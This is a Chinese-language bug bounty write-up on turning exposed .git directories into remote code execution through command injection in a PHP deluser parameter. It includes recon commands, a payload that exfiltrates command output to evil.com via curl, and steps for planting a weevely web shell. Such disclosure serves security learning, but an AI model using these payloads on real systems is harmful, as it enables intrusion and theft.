記一次賞金10000美金的漏洞挖掘(從.git泄露到RCE)

最近我參加了一個私人 bugbounty 計劃,我設法通過四臺主機上的開放 .git 目錄找到了 RCE,為此我收到了創紀錄的 10,000 美元,如果不分享它就是犯罪。

其實這個漏洞很簡單,只用了半天時間,但大體上有條不紊……

收集容易發現的錯誤的主要階段是信息收集,為此我在我的 bash 腳本中使用了一系列工具:

amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt

這不是最詳細的信息收集手段,你可以自行決定添加其他工具,但它旨在掃描大量主機

幸運的是, nuclei的輸出顯示了幾個主機上暴露的 .git/ 目錄,通過這些目錄可以下載源代碼

為此,請使用git-dumper工具:

git-dumper http://example.com/.git/ output

我認為這是在代碼中尋找嚴重問題的好機會,并沒有急于報告暴露的 .git 所以結果證明在代碼中他們使用了對本地 bash 腳本的調用來通過 shell_exec 保存和刪除 ftp用戶()函數,它采用未經過濾的用戶輸入,這導致了 RCE 漏洞

為了驗證測試請求包,我還必須考慮需要硬編碼密鑰的簡單驗證

以及請求的最終結果:

http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1 encoded secret2]

入口點將是deluser參數

下一步是驗證漏洞本身,為此我通過注入shell_exec()向我的服務器發出測試 curl 請求,該請求成功運行

也可以通過將命令發送到 URI 或通過 base64 編碼形式的 POST 正文來讀取命令的輸出,如下所示:

id命令的payload:

someusr; curl https://evil.com/$(id|base64|tr -d “”);

所以只剩下上傳shell,唯一的障礙是對當前目錄沒有寫權限,所以上傳shell到uploads/ (生成shell,我用的是weevely工具)

如果按步驟描述這個過程:

將 shell 保存在本地 txt 中,以便能夠通過 curl 傳輸它,并在自己的主機上啟動服務器
用 ngrok 建立隧道
發送一個payload,將我們的 shell 保存在uploads/shell.php
使用weevely連接到上傳的 shell

經過幾天的幫助解決問題后,該公司獎勵了我一筆賞金(附上賞金截圖)

在10個案例中,有9個我沒有收到任何東西,有不同的公司欺騙了我,這就是耐心和一致性